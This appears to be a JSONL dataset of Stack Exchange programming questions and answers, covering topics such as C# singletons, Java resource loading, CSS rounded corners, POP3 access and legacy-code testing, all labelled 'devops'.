{"id": "hf_05b63dd91887", "question": "<p>What are some of the best or most popular rule engines?  I haven't settled on a programming language, so tell me the rule engine and what programming languages it supports.</p>\n", "question_body": "", "answer": "I have a bit of experience with both Haley Expert Rules and Haley Office Rules. Both nice systems, but I'd need to know a bit more abut what you want to use them for to answer definitively (See\nhttp://www.haley.com\n)\nThey both support C# and Java (and I think also a web service api).\nThe difference between the two is mostly around how much natural language modelling you want to get into. Office rules lets business users write rules in an Office document, and is mostly focused around legislative requirements modelling. Expert rules can be a bit more flexible in definition how it handles natural language, but requires more work defining language structures up front.\nHope some of that helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.925804"}
{"id": "hf_d942ad0deeb6", "question": "<p>I have inherited some legacy PHP code what was written back when it was standard practice to use <a href=\"http://php.net/register_globals\" rel=\"nofollow noreferrer\"><code>register_globals</code></a> (As of PHP 4.2.0, this directive defaults to off, released 22. Apr 2002).</p>\n\n<p>We know now that it is bad for security to have it enabled. The problem is how do I find all the places in the code where I need to use <code>$_GET</code> or <code>$_POST</code>? My only thought was to set the error reporting to warn about uninitialized variables and then test each part of the site. Is there an easier way? Will I have to test each code path in the site or will PHP give a warning on a file basis?</p>\n", "question_body": "", "answer": "I know that there's a way to set php.ini values for that script with a certain command, I thus went looking and found this too -\nGoto last post on page\nI also found the following post which may be of use -\nGoto last post on the page\nI will add to this more if nobody has found an answer but I must now catch a train.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.972754"}
{"id": "hf_0335d53e2e9b", "question": "<p>How should I load files into my Java application?</p>\n", "question_body": "", "answer": "The short answer\nUse one of these two methods:\n```\nClass.getResource(String)\n```\n```\nClass.getResourceAsStream(String)\n```\nFor example:\n```\n```\nInputStream inputStream = YourClass.class.getResourceAsStream(\"image.jpg\");\n```\n```\n--\nThe long answer\nTypically, one would not want to load files using absolute paths. For example, don’t do this if you can help it:\n```\n```\nFile file = new File(\"C:\\\\Users\\\\Joe\\\\image.jpg\");\n```\n```\nThis technique is not recommended for at least two reasons. First, it creates a dependency on a particular operating system, which prevents the application from easily moving to another operating system. One of Java’s main benefits is the ability to run the same bytecode on many different platforms. Using an absolute path like this makes the code much less portable.\nSecond, depending on the relative location of the file, this technique might create an external dependency and limit the application’s mobility. If the file exists outside the application’s current directory, this creates an external dependency and one would have to be aware of the dependency in order to move the application to another machine (error prone).\nInstead, use the\n```\ngetResource()\n```\nmethods in the\n```\nClass\n```\nclass. This makes the application much more portable. It  can be moved to different platforms, machines, or directories and still function correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:32.996974"}
{"id": "hf_f2bfbcb0d1df", "question": "<p>I was trying to add a favicon to a website earlier and looked for a better way to implement this than to dump a <code>favicon.ico</code> file in the root of the website.</p>\n\n<p>I found this nice little guide: <a href=\"http://www.w3.org/2005/10/howto-favicon\" rel=\"noreferrer\">How to Add a Favicon</a>. However, the preferred method did not work in IE (7) and the second method is the old fashioned way (which I resigned myself to use).</p>\n\n<p>Is there a third method that works across all the most popular browsers?</p>\n", "question_body": "", "answer": "This is how they're doing it right here on Stack Overflow:\n```\n```\n<link rel=\"shortcut icon\" href=\"/favicon.ico\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.019643"}
{"id": "hf_f80dd1f118b1", "question": "<p>At work we are currently still using JUnit 3 to run our tests. We have been considering switching over to JUnit 4 for <strong>new</strong> tests being written but I have been keeping an eye on TestNG for a while now. What experiences have you all had with either JUnit 4 or TestNG, and which seems to work better for very large numbers of tests? Having flexibility in writing tests is also important to us since our functional tests cover a wide aspect and need to be written in a variety of ways to get results.</p>\n\n<p>Old tests will not be re-written as they do their job just fine. What I would like to see in new tests though is flexibility in the way the test can be written, natural assertions, grouping, and easily distributed test executions.</p>\n", "question_body": "", "answer": "First I would say, don't rewrite all your tests just to suit the latest fad.  Junit3 works perfectly well, and the introduction of annotations in 4 doesn't buy you very much (in my opinion).  It is much more important that you guys\nwrite\ntests, and it sounds like you do.\nUse whatever seems most natural and helps you get your work done.\nI can't comment on TestNG b/c I haven't used it.  But I would recommend\nunitils\n, a great wrapper for JUnit/TestNG/DBUnit/EasyMock, regardless of which route you take. (It supports all the flavors mentioned above)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.043391"}
{"id": "hf_c33c5b1a20a2", "question": "<p>I am working on a new project. Is there any benefit with going with a WCF web service over a regular old fashion web service?</p>\n\n<p>Visual Studio offers templates for both. What are the differences? Pros and cons?</p>\n", "question_body": "", "answer": "The Pros of doing all by yourself is:\nNo learning curve\nVery flexible\nThe Pros of WCF are:\nCosts less time in the longer run\nSwitch protocols without programming\nA disadvantage of WCF: some static property names\ncan be pretty lengthy\n...\nTo summarize: WCF lets you focus on programming, but you need to learn it first ;-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.078648"}
{"id": "hf_c4876afa52f5", "question": "<p>Since I started studying object-oriented programming, I frequently read articles/blogs saying  functions are better, or not all problems should be modeled as objects. From your personal programming adventures, when do you think a problem is better solved by OOP?</p>\n", "question_body": "", "answer": "I think it fits best when you are modeling something cohesive with state and associated actions on those states.  I guess that's kind of vague, but I'm not sure there is a perfect answer here.\nThe thing about OOP is that it lets you encapsulate and abstract data and information away, which is a real boon in building a large system.  You can do the same with other paradigms, but it seems OOP is especially helpful in this category.\nIt also kind of depends on the language you are using.  If it is a language with rich OOP support, you should probably use that to your advantage.  If it doesn't, then you may need to find other mechanisms to help break up the problem into smaller, easily testable pieces.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.113532"}
{"id": "hf_50d65ffa3874", "question": "<p>I probably spend far too much time trying to make my visual interfaces look good, and while I'm pretty adept at finding the right match between usability and style one area I am hopeless at is making nice looking icons.</p>\n\n<p>How do you people overcome this (I'm sure common) problem?  I'm thinking of things like images on buttons and perhaps most important of all, the actual application icon.</p>\n\n<p>Do you rely on third party designers, in or out of house?  Or do you know of some hidden website that offers lots of icons for us to use?  I've tried Google but I seem to find either expensive packages that are very specific, millions of Star Trek icons or icons that look abysmal at 16x16 which is my preferred size on in-application buttons.</p>\n\n<p>Any help/advice appreciated.</p>\n", "question_body": "", "answer": "We have an in-house designer that does ours, although we also use freelance designers, too.\nYou could try starting a design competition on\n99 Designs\n?\nThere are also some free icon sets available,\nlike these\n.\nIf you google around, you'll also find quite a few commercially available icon sets that you can use (although obviously neither of the icon set options will get you an icon specific to your app!).\nHope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.148946"}
{"id": "hf_0c42d21c9cb2", "question": "<p>Suppose I have a stringbuilder in C# that does this:</p>\n\n<pre><code>StringBuilder sb = new StringBuilder();\nstring cat = \"cat\";\nsb.Append(\"the \").Append(cat).(\" in the hat\");\nstring s = sb.ToString();\n</code></pre>\n\n<p>would that be as efficient or any more efficient as having:</p>\n\n<pre><code>string cat = \"cat\";\nstring s = String.Format(\"The {0} in the hat\", cat);\n</code></pre>\n\n<p>If so, why?</p>\n\n<p><strong>EDIT</strong> </p>\n\n<p>After some interesting answers, I realised I probably should have been a little clearer in what I was asking. I wasn't so much asking for which was quicker at concatenating a string, but which is quicker at <strong><em>injecting</em></strong> one string into another.</p>\n\n<p>In both cases above I want to inject one or more strings into the middle of a predefined template string.</p>\n\n<p>Sorry for the confusion</p>\n", "question_body": "", "answer": "I would suggest not, since String.Format was not designed for concatenation, it was design for formatting the output of various inputs such as a date.\n```\n```\nString s = String.Format(\"Today is {0:dd-MMM-yyyy}.\", DateTime.Today);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.206082"}
{"id": "hf_d272a9074d8f", "question": "<p>I have a Microsoft keyboard with a series of non-standard buttons such as \"Mail\", \"Search\" , \"Web/Home\" etc.</p>\n\n<p>It would be nice to be able to bind these keys so they execute arbitrary programs.</p>\n\n<p>Does anybody know how to do this in Debian Etch?</p>\n", "question_body": "", "answer": "I can't say for certain because I'm not using Debian but if you're using Gnome the easiest way is to run gnome-keybinding-properties (System > Preferences > Keyboard Shortcuts)\nInstead of typing a shortcut such as\nCtrl\n+\nM\n, hit the button on your keyboard.\nIf you would prefer to do this via command line or with a different desktop environment, this may help:\nUnusual keys and keyboards", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.241187"}
{"id": "hf_bbb5cb9ed01a", "question": "<p>As a long time World of Warcraft player, and a passionate developer I have decided that I would like to combine the two and set about developing some addins.  Not only to improve my gameplay experience but as a great opportunity to learn something new.</p>\n\n<p>Does anyone have any advice on how to go about starting out?</p>\n\n<p>Is there an IDE one can use?  How does one go about testing?  Are there any ready made libraries available?  Or would I get a better learning experience by ignoring the libraries and building from scratch? How do I oneshot Hogger?</p>\n\n<p>Would love to hear your advice, experiences and views.</p>\n", "question_body": "", "answer": "This article\nexplains how to start pretty well.\nYour first bookmark is possibly the US Interface Forum, especially the Stickies for that:\nhttp://us.battle.net/wow/en/forum/1011693/\nThen, grab some simple addons to learn how XML and LUA interacts. The\nWoWWiki HOWTO List\nis a good point here as well.\nOne important thing to keep in mind: World of Warcraft is available in many languages. If you have a EU Account, you got an excellent testing bed by simply downloading the language Packs for Spanish, German and French. If you're an US Guy, check if you can get the Latin America version. That way, you can test it against another language version.\nOnce you made 1 or 2 really small and simple addons just to learn how to use it, have a look at the various frameworks.\nWowAce\nis a popular one, but there are others.\nJust keep one thing in mind: Making an Addon is work. Maintaining one is even more work. With each new Patch, there may be breaking changes, and the next Addon will surely cause a big Exodus of Addons, just like Patch 2.0.1 did.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.300958"}
{"id": "hf_8b896c67f60a", "question": "<p>I have some code for starting a thread on the .NET CF 2.0:</p>\n\n<pre><code>ThreadStart tStart = new ThreadStart(MyMethod);\nThread t = new Thread(tStart);\nt.Start();\n</code></pre>\n\n<p>If I call this inside a loop the items completely out of order. How do introduce a wait after <code>t.Start()</code>, so that the work on the thread completes before the code continues? Will BeginInvoke/EndInvoke be a better option for this than manually creating threads?</p>\n", "question_body": "", "answer": "If I'm reading this properly, you're starting work items on bunch of threads but you're concerned that the threads are completing out of order, and, would prefer to wait until each thread completes in the order they were started ?\nIf this is the case then I'm not sure why you're creating a thread per work item. Maybe you could expand?\nIf you did need to wait for a thread to complete the you could just do:\n```\n```\nt.Join();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.325201"}
{"id": "hf_4ab5fabab3f4", "question": "<p>I want to get started doing some game development using Microsoft's XNA. Part of that is Shader development, but I have no idea how to get started. I know that <a href=\"http://developer.nvidia.com/object/fx_composer_home.html\" rel=\"noreferrer\">nVidia's FX Composer</a> is a great tool to develop shaders, but I did not find much useful and updated content on how to actually get started.</p>\n\n<p>What tutorials would you recommend?</p>\n", "question_body": "", "answer": "SAMS's\nXNA Unleashed\nby Chad Carter is a great starting point for XNA and assumes little knowledge of game development practices or hard maths before you start. It has two chapters on basic and advanced shaders.\nAs a sidenote, keep an eye out on Google for WPF Shader tutorials, it now uses the same technology to allow customer shaders in WPF applications and tutorials for that I believe are largely compatible with XNA.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.406453"}
{"id": "hf_9c799dea4cc8", "question": "<p>I have a quad core machine and would like to write some code to parse a text file that takes advantage of all four cores. The text file basically contains one record per line.</p>\n\n<p>Multithreading isn't my forte so I'm wondering if anyone could give me some patterns that I might be able to use to parse the file in an optimal manner.</p>\n\n<p>My first thoughts are to read all the lines into some sort of queue and then spin up threads to pull the lines off the queue and process them, but that means the queue would have to exist in memory and these are fairly large files so I'm not so keen on that idea.</p>\n\n<p>My next thoughts are to have some sort of controller that will read in a line and assign it a thread to parse, but I'm not sure if the controller will end up being a bottleneck if the threads are processing the lines faster than it can read and assign them.</p>\n\n<p>I know there's probably another simpler solution than both of these but at the moment I'm just not seeing it.</p>\n", "question_body": "", "answer": "I'd go with your original idea. If you are concerned that the queue might get too large implement a buffer-zone for it (i.e. If is gets above 100 lines the stop reading the file and if it gets below 20 then start reading again. You'd need to do some testing to find the optimal barriers). Make it so that any of the threads can potentially be the \"reader thread\" as it has to lock the queue to pull an item out anyway it can also check to see if the \"low buffer region\" has been hit and start reading again. While it's doing this the other threads can read out the rest of the queue.\nOr if you prefer, have one reader thread assign the lines to three other\nprocessor\nthreads (via their own queues) and implement a\nwork-stealing strategy\n. I've never done this so I don't know how hard it is.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.492553"}
{"id": "hf_7d63a9cff258", "question": "<p>How can I create rounded corners using CSS?</p>\n", "question_body": "", "answer": "Since CSS3 was introduced, the best way to add rounded corners using CSS is by using the\n```\nborder-radius\n```\nproperty. You can\nread the spec\non the property, or get some\nuseful implementation information on MDN\n:\nIf you are using a browser that\ndoesn't\nimplement\n```\nborder-radius\n```\n(Chrome pre-v4, Firefox pre-v4, IE8, Opera pre-v10.5, Safari pre-v5), then the links below detail a whole bunch of different approaches. Find one that suits your site and coding style, and go with it.\nCSS Design: Creating Custom Corners\n& Borders\nCSS Rounded Corners 'Roundup'\n25 Rounded Corners Techniques with CSS", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.587936"}
{"id": "hf_f9cd5f640dcd", "question": "<p>In other words, is this Singleton implementation thread safe:</p>\n\n<pre><code>public class Singleton\n{\n    private static Singleton instance;\n\n    private Singleton() { }\n\n    static Singleton()\n    {\n        instance = new Singleton();\n    }\n\n    public static Singleton Instance\n    {\n        get { return instance; }\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "The\nCommon Language Infrastructure specification\nguarantees that \"a type initializer shall run exactly once for any given type, unless explicitly called by user code.\" (Section 9.5.3.1.) So unless you have some whacky IL on the loose calling Singleton::.cctor directly (unlikely) your static constructor will run exactly once before the Singleton type is used, only one instance of Singleton will be created, and your Instance property is thread-safe.\nNote that if Singleton's constructor accesses the Instance property (even indirectly) then the Instance property will be null. The best you can do is detect when this happens and throw an exception, by checking that instance is non-null in the property accessor. After your static constructor completes the Instance property will be non-null.\nAs\nZoomba's answer\npoints out you will need to make Singleton safe to access from multiple threads, or implement a locking mechanism around using the singleton instance.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.612274"}
{"id": "hf_20d646bc49f6", "question": "<p>What tools would you recommend for setting up CI for build and deployment of multiple websites built on DotNetNuke using SVN for source control? </p>\n\n<p>We are currently looking at configuring Cruise Control to work with NAnt, NUnit, NCover and Trac as a test case. What other combinations would worth investigating?</p>\n\n<p>We have full control of our development environment so using some form of CI is certain here but I would also like to convince our production services team that they can reliably deploy to the system test, uat and even production environments using these tools.</p>\n", "question_body": "", "answer": "I would have a look at Team City\nhttp://www.jetbrains.com/teamcity/index.html\nI know some people who are looking in to this and they say good things about it.\nMy companies build process is done in FinalBuilder so I'm going to be looking at their server soon.\nCC is quite good in that you can have one CC server monitor another CC server so you could set up stuff like - when a build completes on your build server, your test server would wake up, boot up a virtual machine and deploy your application.  Stuff like that.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.682693"}
{"id": "hf_dcf5b7595f5f", "question": "<p>I'm trying to alpha blend sprites and backgrounds with <a href=\"http://www.devkitpro.org/\" rel=\"noreferrer\">devkitPro</a> (including libnds, libarm, etc).</p>\n\n<p>Does anyone know how to do this?</p>\n", "question_body": "", "answer": "It's been a\nlong\ntime since I've done any GBA programming, but as I recall, the DS supports most (if not all) of the stuff that GBA supports.\nThis\nlink has a section on how to do alpha blending for GBA (section 13.2). I don't know if there's a DS-specific way of doing it, but this should work for you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.706467"}
{"id": "hf_5f9395fe8c56", "question": "<p>What I'd like to do is something like the following:</p>\n\n<pre><code>FooClass.prototype.method = function():String\n{\n    return \"Something\";\n}\n\nvar foo:FooClass = new FooClass();\nfoo.method();\n</code></pre>\n\n<p>Which is to say, I'd like to extend a generated class with a single method, not via inheritance but via the prototype.</p>\n\n<p>The class is generated from a WSDL, it's not a dynamic class, and I don't want to touch the generated code because it will be overwritten anyway.</p>\n\n<p>Long story short, I'd like to have the moral equivalent of C# 3:s Extension Methods for AS3.</p>\n\n<p>Edit: I accepted aib's answer, because it fits what I was asking best -- although upon further reflection it doesn't really solve my problem, but that's my fault for asking the wrong question. :) Also, upmods for the good suggestions.</p>\n", "question_body": "", "answer": "Yes, such a thing is possible.\nIn fact, your example is very close to the solution.\nTry\n```\n```\nfoo[\"method\"]();\n```\n```\ninstead of\n```\n```\nfoo.method();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.742100"}
{"id": "hf_d68ecda5eb27", "question": "<p>Can anyone recommend software or a .NET library that will check for bounced emails and the reason for the bounce? I get bounced emails into a pop3 account that I can read then.</p>\n\n<p>I need it to keep my user database clean from invalid email addresses and want to automate this (mark user as invalid email).</p>\n", "question_body": "", "answer": "It's pretty easy to do with a TcpClient. Open the server:\n```\n```\nTcpClient tcpClient = new TcpClient();\ntcpClient.Connect(POP3Server, POP3Port);\nNetworkStream stream = tcpClient.GetStream();\n```\n```\nRead the welcome message:\n```\n```\nint read = stream.Read(inBuffer, 0, inBuffer.Length);\nstring response = Encoding.ASCII.GetString(inBuffer, 0, read);\nif (response.IndexOf(\"+OK\") != 0) throw new ...;\n```\n```\nWrite back to the server:\n```\n```\nbyte[] outBuffer = Encoding.ASCII.GetBytes(\"USER \" + account + \"\\r\\n\");\nstream.Write(outBuffer, 0, outBuffer.Length);\n```\n```\nThat sends the USER command. You need to login and then you can start grabbing messages - see the POP3\nRFC\nfor the full list of commands. If you're not looking to roll your own check out this\nCodeProject article\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.780680"}
{"id": "hf_e8f0de6b5cc2", "question": "<p>What I want to do is something like this: I have enums with combined flagged values.</p>\n\n<pre><code>public static class EnumExtension\n{\n    public static bool IsSet&lt;T&gt;( this T input, T matchTo ) \n        where T:enum //the constraint I want that doesn't exist in C#3\n    {    \n        return (input &amp; matchTo) != 0;\n    }\n}\n</code></pre>\n\n<p>So then I could do:</p>\n\n<pre><code>MyEnum tester = MyEnum.FlagA | MyEnum.FlagB\n\nif( tester.IsSet( MyEnum.FlagA ) )\n    //act on flag a\n</code></pre>\n\n<p>Unfortunately, C#'s generic where constraints have no enum restriction, only class and struct. C# doesn't see enums as structs (even though they are value types) so I can't add extension types like this.</p>\n\n<p>Does anyone know a workaround?</p>\n", "question_body": "", "answer": "Darren, that would work if the types were specific enumerations - for general enumerations to work you have to cast them to ints (or more likely uint) to do the boolean math:\n```\n```\npublic static bool IsSet( this Enum input, Enum matchTo )\n{\n    return ( Convert.ToUInt32( input ) & Convert.ToUInt32( matchTo ) ) != 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.816867"}
{"id": "hf_296c12ac23c5", "question": "<p>We have a junior programmer that simply doesn't write enough tests.<br>\nI have to nag him every two hours, \"have you written tests?\"<br>\nWe've tried:</p>\n\n<ul>\n<li>Showing that the design becomes simpler</li>\n<li>Showing it prevents defects</li>\n<li>Making it an ego thing saying only bad programmers don't</li>\n<li>This weekend 2 team members had to come to work because his code had a NULL reference and he didn't test it</li>\n</ul>\n\n<p>My work requires top quality stable code, and usually everyone 'gets it' and there's no need to push tests through. We know we can make him write tests, but we all know the useful tests are those written when you're into it.</p>\n\n<p>Do you know of more motivations?</p>\n", "question_body": "", "answer": "If the junior programmer, or anyone, doesn't see the value in testing, then it will be hard to get them to do it...period.\nI would have made the junior programmer sacrifice their weekend to fix the bug.  His actions (or lack there of) are not affecting him directly.  Also, make it apparent, that he will not see advancement and/or pay increases if he doesn't improve his skills in testing.\nIn the end, even with all your help, encouragement, mentoring, he might not be a fit for your team, so let him go and look for someone who does get it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.852866"}
{"id": "hf_f70fac2e8ef1", "question": "<p>I'm part of a team that develops a pretty big Swing Java Applet. Most of our code are legacy and there are tons of singleton references. We've bunched all of them to a single \"Application Context\" singleton. What we now need is to create some way to separate the shared context (shared across all applets currently showing) and non-shared context (specific to each applet currently showing). </p>\n\n<p>However, we don't have an ID at each of the locations that call to the singleton, nor do we want to propagate the ID to all locations. What's the easiest way to identify in which applet context we're running? (I've tried messing with classloaders, thread groups, thread ids... so far I could find nothing that will enable me to ID the origin of the call).</p>\n", "question_body": "", "answer": "If I understand you correctly, the idea is to get a different \"singleton\" object for each caller object or \"context\".\nOne thing you can do is to create a thread-local global variable where you write the ID of the current context. (This can be done with AOP.) Then in the singleton getter, the context ID is fetched from the thread-local to use as a key to the correct \"singleton\" instance for the calling context.\nRegarding AOP there should be no problem using it in applets since, depending on your point-cuts, the advices are woven at compile time and a JAR is added to the runtime dependencies. Hence, no special evidence of AOP should remain at run time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.888647"}
{"id": "hf_5849e8cb1fab", "question": "<p>Alright, so maybe I shouldn't have shrunk this question sooo much... I have seen the post on <a href=\"https://stackoverflow.com/questions/622/most-efficient-code-for-the-first-10000-prime-numbers\">the most efficient way to find the first 10000 primes</a>.  I'm looking for <strong>all possible ways</strong>.  The goal is to have a one stop shop for primality tests.  Any and all tests people know for finding prime numbers are welcome.</p>\n\n<p>And so:</p>\n\n<ul>\n<li><strong>What are all the different ways of finding primes?</strong></li>\n</ul>\n", "question_body": "", "answer": "The Sieve of Eratosthenes\nis a decent algorithm:\nTake the list of positive integers 2 to any given Ceiling.\nTake the next item in the list (2 in the first iteration) and remove all multiples of it (beyond the first) from the list.\nRepeat step two until you reach the given Ceiling.\nYour list is now composed purely of primes.\nThere is a functional limit to this algorithm in that it exchanges speed for memory.  When generating very large lists of primes the memory capacity needed skyrockets.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.912917"}
{"id": "hf_e5e34f5ce347", "question": "<p>What does the expression \"Turing Complete\" mean? </p>\n\n<p>Can you give a simple explanation, without going into too many theoretical details?</p>\n", "question_body": "", "answer": "From\nwikipedia\n:\nTuring completeness, named after Alan\n  Turing, is significant in that every\n  plausible design for a computing\n  device so far advanced can be emulated\n  by a universal Turing machine — an\n  observation that has become known as\n  the Church-Turing thesis. Thus, a\n  machine that can act as a universal\n  Turing machine can, in principle,\n  perform any calculation that any other\n  programmable computer is capable of.\n  However, this has nothing to do with\n  the effort required to write a program\n  for the machine, the time it may take\n  for the machine to perform the\n  calculation, or any abilities the\n  machine may possess that are unrelated\n  to computation.\nWhile truly Turing-complete machines\n  are very likely physically impossible,\n  as they require unlimited storage,\n  Turing completeness is often loosely\n  attributed to physical machines or\n  programming languages that would be\n  universal if they had unlimited\n  storage. All modern computers are\n  Turing-complete in this sense.\nI don't know how you can be more non-technical than that except by saying \"turing complete means 'able to answer computable problem given enough time and space'\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.949018"}
{"id": "hf_dc98b60facfc", "question": "<p>Lately I had to change some code on older systems where not all of the code has unit tests.<br>\nBefore making the changes I want to write tests, but each class created a lot of dependencies and other anti-patterns which made testing quite hard.<br>\nObviously, I wanted to refactor the code to make it easier to test, write the tests and then change it.<br>\nIs this the way you'd do it? Or would you spend a lot of time writing the hard-to-write tests that would be mostly removed after the refactoring will be completed?</p>\n", "question_body": "", "answer": "First of all,\nhere's a great article with tips on unit testing\n.  Secondly, I found a great way to avoid making tons of changes in old code is to just refactor it a little until you can test it.  One easy way to do this is to make private members protected, and then override the protected field.\nFor example, let's say you have a class that loads some stuff from the database during the constructor.  In this case, you can't just override a protected method, but you can extract the DB logic to a protected field and then override it in the test.\n```\n```\npublic class MyClass {\n    public MyClass() {\n        // undesirable DB logic\n    }\n}\n```\n```\nbecomes\n```\n```\npublic class MyClass {\n    public MyClass() {\n        loadFromDB();\n    }\n\n    protected void loadFromDB() {\n        // undesirable DB logic\n    }\n}\n```\n```\nand then your test looks something like this:\n```\n```\npublic class MyClassTest {\n    public void testSomething() {\n        MyClass myClass = new MyClassWrapper();\n        // test it\n    }\n\n    private static class MyClassWrapper extends MyClass {\n        @Override\n        protected void loadFromDB() {\n            // some mock logic\n        }\n    }\n}\n```\n```\nThis is somewhat of a bad example, because you could use DBUnit in this case, but I actually did this in a similar case recently because I wanted to test some functionality totally unrelated to the data being loaded, so it was very effective.  I've also found such exposing of members to be useful in other similar cases where I need to get rid of some dependency that has been in a class for a long time.\nI would recommend against this solution if you are writing a framework though, unless you really don't mind exposing the members to users of your framework.\nIt's a bit of a hack, but I've found it quite useful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:33.974199"}
